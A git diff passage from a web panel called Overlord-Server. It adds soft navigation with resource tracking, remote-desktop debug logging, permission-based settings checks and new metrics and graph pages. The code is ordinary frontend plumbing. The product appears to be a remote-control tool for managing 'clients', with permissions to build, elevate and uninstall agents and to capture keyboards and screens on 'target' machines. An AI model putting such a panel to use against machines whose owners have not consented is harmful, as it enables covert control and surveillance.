event.target?.closest?.("a[href]"); + if (link) prefetchPage(link.getAttribute("href")); + }); + async function loadCurrentUser() { try { const res = await fetch("/api/auth/me", { credentials: "include" }); @@ -178,19 +224,25 @@ if (host) { } import("./chat-widget.js").then((chatWidget) => { - chatWidget.init(); + runWithoutPageTracking(() => { + chatWidget.init(); - if (chatWidget.isHidden() && refs.navUtility) { - const restoreBtn = document.createElement("button"); - restoreBtn.id = "chat-restore-btn"; - restoreBtn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 text-slate-500 hover:text-slate-300 hover:bg-slate-800 text-xs transition-colors"; - restoreBtn.title = "Show team chat"; - restoreBtn.innerHTML = 'Chat'; - restoreBtn.addEventListener("click", () => { - chatWidget.show(); - restoreBtn.remove(); - }); - refs.navUtility.insertBefore(restoreBtn, refs.navUtility.firstChild); - } + if (chatWidget.isHidden() && refs.navUtility) { + const restoreBtn = document.createElement("button"); + restoreBtn.id = "chat-restore-btn"; + restoreBtn.className = "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 text-slate-500 hover:text-slate-300 hover:bg-slate-800 text-xs transition-colors"; + restoreBtn.title = "Show team chat"; + restoreBtn.innerHTML = 'Chat'; + restoreBtn.addEventListener("click", () => { + chatWidget.show(); + restoreBtn.remove(); + }); + refs.navUtility.insertBefore(restoreBtn, refs.navUtility.firstChild); + } + }); }); + + installPageResourceTracker(); + setupSoftNavigation(host, { onPathChange: applyActivePath }); + startPageTracking(); } diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index f346ab7..77aa4d9 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -63,6 +63,7 @@ export const NAV_GROUPS = [ iconColor: "text-emerald-400", children: [ { href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" }, + { href: "/graph", label: "Graph", icon: "fa-diagram-project", iconColor: "text-cyan-400", linkId: "graph-link" }, { href: "/screenshots", label: "Screenshot Wall", icon: "fa-images", iconColor: "text-sky-400", linkId: "screenshots-link", hidden: true }, ], }, diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index ce6c337..8871285 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -111,6 +111,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; let clientOs = ""; let clientIsAdmin = false; let firewallWarningAcked = false; + let firstFrameLogged = false; + + function rdDebug(label, data = {}) { + try { + console.debug(`rd: ${label} ${JSON.stringify(data)}`); + } catch { + console.debug(`rd: ${label}`, data); + } + } function resetH264RuntimeState() { h264TimestampUs = 0; @@ -730,6 +739,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; function handleStatus(msg) { if (!msg || msg.type !== "status" || !msg.status) return; + rdDebug("status", { + status: msg.status, + reason: msg.reason || "", + desiredStreaming, + streamState, + lastFrameAgeMs: lastFrameAt ? Math.round(performance.now() - lastFrameAt) : null, + sessionId: msg.sessionId || "", + }); if (msg.status === "offline") { scheduleOffline(msg.reason); return; @@ -880,10 +897,26 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; return; } if (ws.readyState !== WebSocket.OPEN) { + rdDebug("send skipped websocket not open", { + type, + readyState: ws.readyState, + streamState, + desiredStreaming, + }); return; } const msg = { type, ...payload }; - console.debug("rd: send", msg); + rdDebug("send", { + msg, + readyState: ws.readyState, + streamState, + desiredStreaming, + display: displaySelect?.value ?? "", + quality: qualitySlider?.value ?? "", + resolution: resolutionSelect?.value ?? "", + transport: getWebrtcMode(), + lastFrameAgeMs: lastFrameAt ? Math.round(performance.now() - lastFrameAt) : null, + }); ws.send(encodeMsgpack(msg)); } @@ -1021,6 +1054,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; const res = await fetch("/api/clients"); const data = await res.json(); const client = data.items.find((c) => c.id === activeClientId); + rdDebug("client info", { + found: !!client, + monitors: client?.monitors, + monitorInfo: client?.monitorInfo, + os: client?.os || "", + isAdmin: !!client?.isAdmin, + }); if (client) { clientLabel.textContent = `${client.host || client.id} (${client.os || ""})`; clientOs = (client.os || "").toLowerCase(); @@ -1115,6 +1155,19 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; startBtn.addEventListener("click", function () { const mode = getWebrtcMode(); + rdDebug("start click", { + mode, + wsReadyState: ws.readyState, + streamState, + desiredStreaming, + display: displaySelect?.value ?? "", + quality: qualitySlider?.value ?? "", + resolution: resolutionSelect?.value ?? "", + prefersH264, + duplication: !!duplicationCtrl?.checked, + clientOs, + clientIsAdmin, + }); if (needsWebrtcFirewallWarning(mode)) { if (!confirm("This agent is not elevated. Starting WebRTC will trigger a Windows Defender Firewall prompt on the target machine.\n\nContinue?")) { return; @@ -1132,6 +1185,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; pushResolution(); desiredStreaming = true; lastFrameAt = 0; + firstFrameLogged = false; resetH264SessionState(); setStreamState("starting", "Starting stream"); if (mode === "relayed") { @@ -1267,6 +1321,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; function markFrameReceived() { lastFrameAt = performance.now(); clearOfflineTimer(); + if (!firstFrameLogged) { + firstFrameLogged = true; + rdDebug("first frame received", { + streamState, + desiredStreaming, + canvas: { width: canvas.width, height: canvas.height }, + transport: getWebrtcMode(), + }); + } if (streamState !== "streaming" && desiredStreaming) { setStreamState("streaming", "Streaming"); } @@ -1700,6 +1763,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); ws.addEventListener("open", function () { + rdDebug("ws open", { + url: ws.url, + readyState: ws.readyState, + clientId, + }); if (qualitySlider) { pushQuality(qualitySlider.value); } @@ -1718,7 +1786,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; }); }); - ws.addEventListener("close", function () { + ws.addEventListener("close", function (event) { + rdDebug("ws close", { + code: event.code, + reason: event.reason, + wasClean: event.wasClean, + streamState, + desiredStreaming, + }); desiredStreaming = false; disconnectAudio(); destroyVideoDecoder(); @@ -1729,7 +1804,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js"; setStreamState("disconnected", "Disconnected"); }); - ws.addEventListener("error", function () { + ws.addEventListener("error", function (event) { + console.warn("rd: ws error", event); destroyVideoDecoder(); stopAllWebrtc(); setStreamState("error", "WebSocket error"); diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index caebeb4..435a4cf 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -124,7 +124,7 @@ function formatDate(timestamp) { } function canManageClientBans(role) { - return role === "admin" || role === "operator"; + return userHas("network:manage-bans"); } function isAdmin(role) { @@ -135,6 +135,12 @@ function userHas(perm) { return !!currentUser?.permissions?.includes(perm); } +function requireUiPermission(perm, message = "You do not have permission for this setting.") { + if (userHas(perm)) return true; + showMessage(message, "error"); + return false; +} + function applyPermissionVisibility() { document.querySelectorAll("[data-permission]").forEach((el) => { const perm = el.dataset.permission; @@ -164,6 +170,91 @@ function applyPermissionVisibility() { } } +async function renderPermissionsOverview() { + const container = document.getElementById("settings-permissions-summary"); + if (!container || !currentUser) return; + + const granted = new Set(currentUser.permissions || []); + let catalog = []; + try { + const res = await fetch("/api/permissions", { credentials: "include" }); + if (res.ok) { + const data = await res.json().catch(() => ({})); + catalog = Array.isArray(data.permissions) ? data.permissions : []; + } + } catch {} + + const byId = new Map(catalog.map((perm) => [perm.id, perm.description])); + const groups = [ + { + title: "User Administration", + icon: "fa-users-gear", + perms: ["users:manage", "audit:view"], + }, + { + title: "Client Operations", + icon: "fa-desktop", + perms: [ + "clients:control", + "clients:build", + "clients:metadata", + "clients:disconnect", + "clients:reconnect", + "clients:uninstall", + "clients:elevate", + "clients:winre", + ], + }, + { + title: "System Settings", + icon: "fa-sliders", + perms: [ + "system:security", + "system:tls", + "system:registration", + "system:notifications", + "system:chat", + "system:appearance", + "system:thumbnails", + "system:build-limits", + "system:export-import", + "system:health", + "system:health:manage", + "system:profiler", + ], + }, + ]; + + container.innerHTML = groups + .map((group) => { + const rows = group.perms + .map((perm) => { + const has = granted.has(perm); + return ` +
+
+
${escapeHtml(perm)}
+
${escapeHtml(byId.get(perm) || "")}
+
+ + + +
+ `; + }) + .join(""); + return ` +
+

+ ${escapeHtml(group.title)} +

+
${rows}
+
+ `; + }) + .join(""); +} + function getPasswordRequirementsText() { const minLength = Number(securityConfig?.passwordMinLength) || 6; const requirements = [`min ${minLength} chars`]; @@ -256,7 +347,7 @@ function applySecurityForm() { async function loadSecurityPolicy() { if (!currentUser) return; - if (!isAdmin(currentUser.role)) { + if (!userHas("system:security")) { securityPermissionNote.classList.remove("hidden"); setSecurityFormDisabled(true); securityConfig = { @@ -301,7 +392,7 @@ function applyTlsForm() { async function loadTlsSettings() { if (!currentUser) return; - if (!isAdmin(currentUser.role)) { + if (!userHas("system:tls")) { tlsPermissionNote.classList.remove("hidden"); setTlsFormDisabled(true); tlsConfig = { @@ -559,8 +650,7 @@ function savePrefs(event) { async function saveSecurityPolicy(event) { event.preventDefault(); - if (!isAdmin(currentUser?.role)) { - showMessage("Admin role required.", "error"); + if (!requireUiPermission("system:security", "Security policy permission required.")) { return; } @@ -598,8 +688,7 @@ async function saveSecurityPolicy(event) { async function saveTlsSettings(event) { event.preventDefault(); - if (!isAdmin(currentUser?.role)) { - showMessage("Admin role required.", "error"); + if (!requireUiPermission("system:tls", "TLS settings permission required.")) { return; } @@ -633,8 +722,7 @@ async function saveTlsSettings(event) { } async function runCertbotAutoSetup() { - if (!isAdmin(currentUser?.role)) { - showMessage("Admin role required.", "error"); + if (!requireUiPermission("system:tls", "TLS settings permission required.")) { return; } @@ -1079,7 +1167,7 @@ function initSettingsSidebar() { async function loadAppearanceSettings() { if (!currentUser) return; - if (!isAdmin(currentUser.role)) { + if (!userHas("system:appearance")) { if (appearancePermissionNote) appearancePermissionNote.classList.remove("hidden"); if (appearanceCustomCssInput) appearanceCustomCssInput.disabled = true; if (appearanceSaveBtn) appearanceSaveBtn.disabled = true; @@ -1104,8 +1192,7 @@ async function loadAppearanceSettings() { async function saveAppearanceSettings(event) { event.preventDefault(); - if (!isAdmin(currentUser?.role)) { - showMessage("Admin role required.", "error"); + if (!requireUiPermission("system:appearance", "Appearance settings permission required.")) { return; } @@ -1136,7 +1223,7 @@ const chatSettingsForm = document.getElementById("chat-settings-form"); const chatRetentionDaysInput = document.getElementById("chat-retention-days"); async function loadChatSettings() { - if (!isAdmin(currentUser?.role)) return; + if (!userHas("system:chat")) return; if (chatSettingsSection) chatSettingsSection.classList.remove("hidden"); try { const res = await fetch("/api/settings/chat", { credentials: "include" }); @@ -1151,8 +1238,7 @@ async function loadChatSettings() { async function saveChatSettings(event) { event.preventDefault(); - if (!isAdmin(currentUser?.role)) { - showMessage("Admin role required.", "error"); + if (!requireUiPermission("system:chat", "Team chat settings permission required.")) { return; } @@ -1198,6 +1284,10 @@ function showExportImportMessage(text, type = "ok") { } async function exportSettings() { + if (!requireUiPermission("system:export-import", "Export/import settings permission required.")) { + return; + } + try { const res = await fetch("/api/settings/export", { credentials: "include" }); if (!res.ok) { @@ -1227,6 +1317,11 @@ async function exportSettings() { } async function importSettings(event) { + if (!requireUiPermission("system:export-import", "Export/import settings permission required.")) { + event.target.value = ""; + return; + } + const file = event.target.files?.[0]; if (!file) return; @@ -1486,6 +1581,8 @@ async function handleRemoveInactiveSessions() { // ── Registration Settings ────────────────────────────────────────────────── async function loadRegistrationSettings() { + if (!userHas("system:registration")) return; + try { const [regRes, groupsRes] = await Promise.all([ fetch("/api/settings/registration", { credentials: "include" }), @@ -1522,8 +1619,8 @@ async function loadRegistrationSettings() { } updateRegSubsections(reg.mode || "off"); - if (reg.mode === "key") loadRegistrationKeys(); - if (reg.mode === "approval") loadPendingRegistrations(); + if (reg.mode === "key" && userHas("users:manage")) loadRegistrationKeys(); + if (reg.mode === "approval" && userHas("users:manage")) loadPendingRegistrations(); } catch (e) { console.error("Failed to load registration settings", e); } @@ -1532,8 +1629,8 @@ async function loadRegistrationSettings() { function updateRegSubsections(mode) { const keySection = document.getElementById("reg-key-section"); const pendingSection = document.getElementById("reg-pending-section"); - if (keySection) keySection.classList.toggle("hidden", mode !== "key"); - if (pendingSection) pendingSection.classList.toggle("hidden", mode !== "approval"); + if (keySection) keySection.classList.toggle("hidden", mode !== "key" || !userHas("users:manage")); + if (pendingSection) pendingSection.classList.toggle("hidden", mode !== "approval" || !userHas("users:manage")); } function showRegMsg(text, type) { @@ -1547,6 +1644,10 @@ function showRegMsg(text, type) { async function saveRegistrationSettings(e) { e.preventDefault(); + if (!requireUiPermission("system:registration", "Registration settings permission required.")) { + return; + } + const mode = document.getElementById("reg-mode")?.value; const defaultRole = document.getElementById("reg-default-role")?.value; const maxUsersTotal = Number(document.getElementById("reg-max-users")?.value) || 0; @@ -1568,14 +1669,15 @@ async function saveRegistrationSettings(e) { } showRegMsg("Registration settings saved.", "success"); updateRegSubsections(mode); - if (mode === "key") loadRegistrationKeys(); - if (mode === "approval") loadPendingRegistrations(); + if (mode === "key" && userHas("users:manage")) loadRegistrationKeys(); + if (mode === "approval" && userHas("users:manage")) loadPendingRegistrations(); } catch { showRegMsg("Network error.", "error"); } } async function loadRegistrationKeys() { + if (!userHas("users:manage")) return; const tbody = document.getElementById("reg-keys-tbody"); if (!tbody) return; try { @@ -1608,6 +1710,10 @@ async function loadRegistrationKeys() { } async function generateRegistrationKeys() { + if (!requireUiPermission("users:manage", "User management permission required to generate registration keys.")) { + return; + } + const count = Number(document.getElementById("reg-key-count")?.value) || 1; const label = document.getElementById("reg-key-label")?.value || undefined; const expiresInHours = Number(document.getElementById("reg-key-expires")?.value) || undefined; @@ -1631,6 +1737,10 @@ async function generateRegistrationKeys() { } async function deleteRegistrationKey(keyId) { + if (!requireUiPermission("users:manage", "User management permission required to delete registration keys.")) { + return; + } + try { const res = await fetch(`/api/registration/keys/${keyId}`, { method: "DELETE", @@ -1641,6 +1751,7 @@ async function deleteRegistrationKey(keyId) { } async function loadPendingRegistrations() { + if (!userHas("users:manage")) return; const tbody = document.getElementById("reg-pending-tbody"); const emptyEl = document.getElementById("reg-pending-empty"); if (!tbody) return; @@ -1673,6 +1784,10 @@ async function loadPendingRegistrations() { } async function handlePendingAction(id, action) { + if (!requireUiPermission("users:manage", "User management permission required to approve registrations.")) { + return; + } + try { const res = await fetch(`/api/registration/pending/${id}/${action}`, { method: "POST", @@ -1697,8 +1812,8 @@ function initRegistrationHandlers() { const modeEl = document.getElementById("reg-mode"); if (modeEl) modeEl.addEventListener("change", () => { updateRegSubsections(modeEl.value); - if (modeEl.value === "key") loadRegistrationKeys(); - if (modeEl.value === "approval") loadPendingRegistrations(); + if (modeEl.value === "key" && userHas("users:manage")) loadRegistrationKeys(); + if (modeEl.value === "approval" && userHas("users:manage")) loadPendingRegistrations(); }); const genBtn = document.getElementById("reg-key-generate-btn"); @@ -1726,6 +1841,8 @@ function initRegistrationHandlers() { // ── Build Rate Limit Settings ────────────────────────────────────────────── async function loadBuildRateLimitSettings() { + if (!userHas("system:build-limits")) return; + try { const res = await fetch("/api/settings/build-rate-limit", { credentials: "include" }); if (!res.ok) return; @@ -1753,6 +1870,10 @@ function showBrlMsg(text, type) { async function saveBuildRateLimitSettings(e) { e.preventDefault(); + if (!requireUiPermission("system:build-limits", "Build rate limit settings permission required.")) { + return; + } + const maxBuildsPerHour = Number(document.getElementById("brl-max-per-hour")?.value) || 5; const maxConcurrentPerUser = Number(document.getElementById("brl-max-concurrent-user")?.value) || 1; const globalMaxConcurrent = Number(document.getElementById("brl-global-concurrent")?.value) || 3; @@ -1783,6 +1904,8 @@ function initBuildRateLimitHandlers() { // ── Thumbnail Settings ──────────────────────────────────────────────────── async function loadThumbnailSettings() { + if (!userHas("system:thumbnails")) return; + try { const res = await fetch("/api/settings/thumbnails", { credentials: "include" }); if (!res.ok) return; @@ -1808,6 +1931,10 @@ function showThumbnailsMsg(text, type) { async function saveThumbnailSettings(e) { e.preventDefault(); + if (!requireUiPermission("system:thumbnails", "Thumbnail settings permission required.")) { + return; + } + const dashboardEnabled = !!document.getElementById("thumb-dashboard-enabled")?.checked; const wallEnabled = !!document.getElementById("thumb-wall-enabled")?.checked; try { @@ -1858,6 +1985,8 @@ function formatUptime(totalSeconds) { let latestServerCpuProfile = null; async function loadHealthStats() { + if (!userHas("system:health")) return; + const loading = document.getElementById("health-loading"); const content = document.getElementById("health-content"); if (loading) { loading.innerHTML = 'Loading...'; loading.classList.remove("hidden"); } @@ -2060,6 +2189,10 @@ function renderServerProfileResults(data) { } async function runServerProfile() { + if (!requireUiPermission("system:profiler", "Server profiler permission required.")) { + return; + } + const btn = document.getElementById("server-profile-btn"); const durationEl = document.getElementById("server-profile-duration"); const durationMs = Number(durationEl?.value || 5000); @@ -2113,6 +2246,10 @@ function downloadServerCpuProfile() { } async function runGC() { + if (!requireUiPermission("system:health:manage", "Server health maintenance permission required.")) { + return; + } + const gcBtn = document.getElementById("health-gc-btn"); const msgEl = document.getElementById("health-gc-message"); if (gcBtn) gcBtn.disabled = true; @@ -2139,6 +2276,14 @@ function initHealthHandlers() { const gcBtn = document.getElementById("health-gc-btn"); const profileBtn = document.getElementById("server-profile-btn"); const downloadProfileBtn = document.getElementById("server-profile-download-btn"); + if (gcBtn && !userHas("system:health:manage")) { + gcBtn.disabled = true; + gcBtn.title = "Requires system:health:manage"; + } + if (profileBtn && !userHas("system:profiler")) { + profileBtn.disabled = true; + profileBtn.title = "Requires system:profiler"; + } if (refreshBtn) refreshBtn.addEventListener("click", loadHealthStats); if (gcBtn) gcBtn.addEventListener("click", runGC); if (profileBtn) profileBtn.addEventListener("click", runServerProfile); @@ -2165,14 +2310,24 @@ async function init() { await loadChatSettings(); await loadBannedIps(); - if (userHas("system:configure")) { + if (userHas("users:manage")) { + await renderPermissionsOverview(); + } + + if (userHas("system:registration")) { await loadRegistrationSettings(); - await loadBuildRateLimitSettings(); - await loadThumbnailSettings(); - await loadHealthStats(); initRegistrationHandlers(); + } + if (userHas("system:build-limits")) { + await loadBuildRateLimitSettings(); initBuildRateLimitHandlers(); + } + if (userHas("system:thumbnails")) { + await loadThumbnailSettings(); initThumbnailHandlers(); + } + if (userHas("system:health")) { + await loadHealthStats(); initHealthHandlers(); } diff --git a/Overlord-Server/public/assets/soft-nav.js b/Overlord-Server/public/assets/soft-nav.js new file mode 100644 index 0000000..758b31c --- /dev/null +++ b/Overlord-Server/public/assets/soft-nav.js @@ -0,0 +1,357 @@ +let installedTracker = false; +let pageTrackingEnabled = false; +let navSeq = 0; + +const tracked = { + events: new Set(), + intervals: new Set(), + sockets: new Set(), + workers: new Set(), +}; + +const original = {}; +const loadedClassicScripts = new Set(); +const persistentIds = new Set([ + "top-nav", + "sb-mobile-bar", + "sb-backdrop", + "nav-reveal-btn", + "chat-bubble", + "chat-panel", + "cert-trust-banner", +]); + +function normalizeUrl(value, base = window.location.href) { + try { + return new URL(value, base).href; + } catch { + return value || ""; + } +} + +function scriptPath(value) { + try { + return new URL(value, window.location.href).pathname; + } catch { + return ""; + } +} + +function shouldSkipScript(script) { + const path = scriptPath(script.getAttribute("src") || ""); + return path === "/assets/nav.js" || path === "/assets/nav-prelude.js"; +} + +function isPersistentNode(node) { + return node instanceof Element && persistentIds.has(node.id); +} + +function cleanupTrackedResources() { + pageTrackingEnabled = false; + window.dispatchEvent(new Event("pagehide")); + + for (const id of tracked.intervals) original.clearInterval(id); + for (const entry of tracked.events) { + original.removeEventListener.call(entry.target, entry.type, entry.listener, entry.options); + } + for (const socket of tracked.sockets) { + try { + socket.onopen = null; + socket.onmessage = null; + socket.onerror = null; + socket.onclose = null; + socket.close(1000, "soft navigation"); + } catch {} + } + for (const worker of tracked.workers) { + try { + worker.terminate(); + } catch {} + } + + tracked.events.clear(); + tracked.intervals.clear(); + tracked.sockets.clear(); + tracked.workers.clear(); + + document.querySelectorAll("script[data-soft-nav-script]").forEach((script) => script.remove()); + document.getElementById("cmdp-root")?.remove(); + pageTrackingEnabled = true; +} + +export function runWithoutPageTracking(fn) { + const previous = pageTrackingEnabled; + pageTrackingEnabled = false; + try { + const result = fn(); + if (result && typeof result.then === "function") { + return result.finally(() => { + pageTrackingEnabled = previous; + }); + } + pageTrackingEnabled = previous; + return result; + } catch (err) { + pageTrackingEnabled = previous; + throw err; + } +} + +export function startPageTracking() { + pageTrackingEnabled = true; +} + +export function installPageResourceTracker() { + if (installedTracker) return; + installedTracker = true; + + document.querySelectorAll("script[src]").forEach((script) => { + const src = script.getAttribute("src"); + if (src && script.type !== "module") loadedClassicScripts.add(normalizeUrl(src)); + }); + + original.addEventListener = EventTarget.prototype.addEventListener; + original.removeEventListener = EventTarget.prototype.removeEventListener; + original.setInterval = window.setInterval; + original.clearInterval = window.clearInterval; + original.WebSocket = window.WebSocket; + original.Worker = window.Worker; + + EventTarget.prototype.addEventListener = function (type, listener, options) { + if (pageTrackingEnabled && listener) { + tracked.events.add({ target: this, type, listener, options }); + } + return original.addEventListener.call(this, type, listener, options); + }; + + EventTarget.prototype.removeEventListener = function (type, listener, options) { + for (const entry of tracked.events) { + if (entry.target === this && entry.type === type && entry.listener === listener) { + tracked.events.delete(entry); + } + } + return original.removeEventListener.call(this, type, listener, options); + }; + + window.setInterval = function (...args) { + const id = original.setInterval.apply(window, args); + if (pageTrackingEnabled) tracked.intervals.add(id); + return id; + }; + + window.clearInterval = function (id) { + tracked.intervals.delete(id); + return original.clearInterval.call(window, id); + }; + + if (typeof original.WebSocket === "function") { + window.WebSocket = function (...args) { + const socket = new original.WebSocket(...args); + if (pageTrackingEnabled) tracked.sockets.add(socket); + return socket; + }; + window.WebSocket.prototype = original.WebSocket.prototype; + Object.defineProperty(window.WebSocket, "CONNECTING", { value: original.WebSocket.CONNECTING }); + Object.defineProperty(window.WebSocket, "OPEN", { value: original.WebSocket.OPEN }); + Object.defineProperty(window.WebSocket, "CLOSING", { value: original.WebSocket.CLOSING }); + Object.defineProperty(window.WebSocket, "CLOSED", { value: original.WebSocket.CLOSED }); + } + + if (typeof original.Worker === "function") { + window.Worker = function (...args) { + const worker = new original.Worker(...args); + if (pageTrackingEnabled) tracked.workers.add(worker); + return worker; + }; + window.Worker.prototype = original.Worker.prototype; + } +} + +function mergeHead(nextDoc, baseUrl) { + document.title = nextDoc.title || document.title; + + const currentHtmlClasses = Array.from(document.documentElement.classList).filter((name) => ( + name.startsWith("nav-pre") || name === "dark" + )); + document.documentElement.className = nextDoc.documentElement.className || ""; + currentHtmlClasses.forEach((name) => document.documentElement.classList.add(name)); + + nextDoc.head.querySelectorAll("link").forEach((link) => { + const href = link.getAttribute("href"); + const rel = link.getAttribute("rel") || ""; + if (!href) return; + const normalized = normalizeUrl(href, baseUrl); + const exists = Array.from(document.head.querySelectorAll("link")).some((existing) => ( + (existing.getAttribute("rel") || "") === rel + && normalizeUrl(existing.getAttribute("href") || "") === normalized + )); + if (!exists) { + const clone = link.cloneNode(true); + clone.setAttribute("href", normalized); + document.head.appendChild(clone); + } + }); + + nextDoc.head.querySelectorAll("style").forEach((style) => { + const text = style.textContent || ""; + const exists = Array.from(document.head.querySelectorAll("style[data-soft-nav-style]")) + .some((existing) => existing.textContent === text); + if (!exists) { + const clone = style.cloneNode(true); + clone.dataset.softNavStyle = "true"; + document.head.appendChild(clone); + } + }); +} + +function replaceBody(nextDoc) { + const preserved = Array.from(document.body.children).filter(isPersistentNode); + const nav = document.getElementById("top-nav"); + const anchor = document.getElementById("cert-trust-banner") + || document.getElementById("sb-mobile-bar") + || nav; + const preservedClasses = Array.from(document.body.classList).filter((name) => ( + name.startsWith("sb-") || name === "nav-hidden" + )); + + Array.from(document.body.children).forEach((node) => { + if (!preserved.includes(node)) node.remove(); + }); + + document.body.className = nextDoc.body.className || ""; + preservedClasses.forEach((name) => document.body.classList.add(name)); + + let insertAfter = anchor; + Array.from(nextDoc.body.children).forEach((node) => { + if (node.matches?.("script") || node.id === "top-nav") return; + const clone = document.importNode(node, true); + if (insertAfter?.parentNode) { + insertAfter.parentNode.insertBefore(clone, insertAfter.nextSibling); + insertAfter = clone; + } else { + document.body.appendChild(clone); + insertAfter = clone; + } + }); +} + +function appendScript(script, baseUrl) { + if (shouldSkipScript(script)) return Promise.resolve(); + + const src = script.getAttribute("src"); + const type = script.getAttribute("type") || ""; + if (src && type !== "module") { + const normalized = normalizeUrl(src, baseUrl); + if (loadedClassicScripts.has(normalized)) return Promise.resolve(); + loadedClassicScripts.add(normalized); + } + + return new Promise((resolve, reject) => { + const next = document.createElement("script"); + for (const { name, value } of script.attributes) { + if (name !== "src") next.setAttribute(name, value); + } + next.dataset.softNavScript = "true"; + next.onload = () => resolve(); + next.onerror = () => reject(new Error(`Failed to load ${src || "inline script"}`)); + + if (src) { + const url = new URL(src, baseUrl); + if (type === "module" && url.origin === window.location.origin) { + url.searchParams.set("softNav", String(navSeq)); + } + next.src = url.href; + } else { + next.textContent = script.textContent || ""; + } + + document.body.appendChild(next); + if (!src) resolve(); + }); +} + +async function runPageScripts(nextDoc, baseUrl) { + const scripts = Array.from(nextDoc.querySelectorAll("script")); + for (const script of scripts) { + await appendScript(script, baseUrl); + } +} + +function refreshGlobalEnhancements() { + if (typeof window.addRippleEffect === "function") { + document + .querySelectorAll("button:not(.no-ripple), .button:not(.no-ripple)") + .forEach((button) => window.addRippleEffect(button)); + } +} + +function isSoftNavigationCandidate(url, link) { + if (url.origin !== window.location.origin) return false; + if (link?.target && link.target !== "_self") return false; + if (link?.hasAttribute("download")) return false; + if (url.pathname.startsWith("/api/")) return false; + if (url.pathname.includes(".")) return false; + if (url.pathname === window.location.pathname && url.search === window.location.search) return false; + return true; +} + +export function setupSoftNavigation(host, { onPathChange } = {}) { + if (!host || host.dataset.softNavReady === "true") return; + host.dataset.softNavReady = "true"; + + async function navigateTo(href, { replace = false } = {}) { + const url = new URL(href, window.location.href); + if (!isSoftNavigationCandidate(url)) { + window.location.href = url.href; + return; + } + + navSeq += 1; + document.body.classList.add("soft-nav-loading"); + + try { + const res = await fetch(url.href, { credentials: "include" }); + if (!res.ok) throw new Error(`Navigation failed: ${res.status}`); + const html = await res.text(); + const nextDoc = new DOMParser().parseFromString(html, "text/html"); + if (!nextDoc.getElementById("top-nav")) { + window.location.href = url.href; + return; + } + + cleanupTrackedResources(); + mergeHead(nextDoc, url.href); + replaceBody(nextDoc); + window.scrollTo(0, 0); + if (replace) history.replaceState({}, "", url.href); + else history.pushState({}, "", url.href); + onPathChange?.(url.pathname); + await runPageScripts(nextDoc, url.href); + refreshGlobalEnhancements(); + window.dispatchEvent(new CustomEvent("overlord:soft-nav", { detail: { path: url.pathname } })); + } catch (err) { + console.error("Soft navigation failed:", err); + window.location.href = url.href; + } finally { + document.body.classList.remove("soft-nav-loading"); + } + } + + host.addEventListener("click", (event) => { + const link = event.target?.closest?.("a[href]"); + if (!link) return; + if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey || event.button !== 0) return; + + const url = new URL(link.getAttribute("href"), window.location.href); + if (!isSoftNavigationCandidate(url, link)) return; + + event.preventDefault(); + navigateTo(url.href); + }, true); + + window.addEventListener("popstate", () => { + navigateTo(window.location.href, { replace: true }); + }); + + window.overlordSoftNavigate = navigateTo; +} diff --git a/Overlord-Server/public/graph.html b/Overlord-Server/public/graph.html new file mode 100644 index 0000000..56a180f --- /dev/null +++ b/Overlord-Server/public/graph.html @@ -0,0 +1,68 @@ + + + + + + + + Overlord Graph + + + + + + + + + + + + +
+
+
+
+ +
+

Client Graph

+

Loading...

+
+
+
+ + + + + +
+
+ +
+
+ +
+
+ + + diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html index cf9071b..33901cc 100644 --- a/Overlord-Server/public/index.html +++ b/Overlord-Server/public/index.html @@ -12,11 +12,13 @@ + + @@ -34,6 +36,18 @@ Server version: loading...
+
+ + + +
+ + + + + +
+
@@ -42,79 +56,89 @@
-
-
-
- - Online -
-
0
-
- 0 total - 0% -
-
-
-
- - Sessions -
-
0
-
- 0 cmd/min - 0 errors +
+
+
+
+ + Online +
+
0
+
+ 0 total + 0% +
+
-
-
-
-
- Past Week - Clients Online +
+
+
+ + Sessions +
+
0
+
+ 0 cmd/min + 0 errors +
- Live
-
- -
-
-
-
-
- Fleet Mix - Operating Systems +
+
+
+
+ Past Week + Clients Online +
+ Live +
+
+ +
- None -
-
-
-
-
-
-
- Status - Server Pulse +
+
+
+
+ Fleet Mix + Operating Systems +
+ None +
+
+ +
- Waiting
-
-
- - API - Live -
-
- - Memory - 0% -
-
- - Ping Avg - - +
+
+
+
+ Status + Server Pulse +
+ Waiting +
+
+
+ + API + Live +
+
+ + Memory + 0% +
+
+ + Ping Avg + - +
+
-
+ +
+
+

+ + Network Throughput +

+
+ +
+
+ +
+

+ + HTTP Requests +

+
+ +
+
+ +
+

+ + HTTP Latency +

+
+ +
+
+ +
+

+ + Runtime Memory +

+
+ +
+
+ +
+

+ + Event Loop Lag +

+
+ +
+
+
+ + +
+
+

+ + Slowest HTTP Routes +

+
Sorted by p95 latency, last minute
+
+
+
+ No HTTP route samples yet +
+
+
+ + +
+
+

+ + Session Mix +

+
+ +
+
+ +
+

+ + Operating Systems +

+
+ +
+
+
+
@@ -181,36 +276,22 @@
- +

- - Ping Statistics + + Clients by OS

-
-
- Average: - - -
-
- Min / Max: - - / - - -
-
- Samples: - 0 -
+
+
No data
- +

- HTTP & Event Loop + HTTP, Ping & Event Loop

@@ -222,10 +303,11 @@ 0
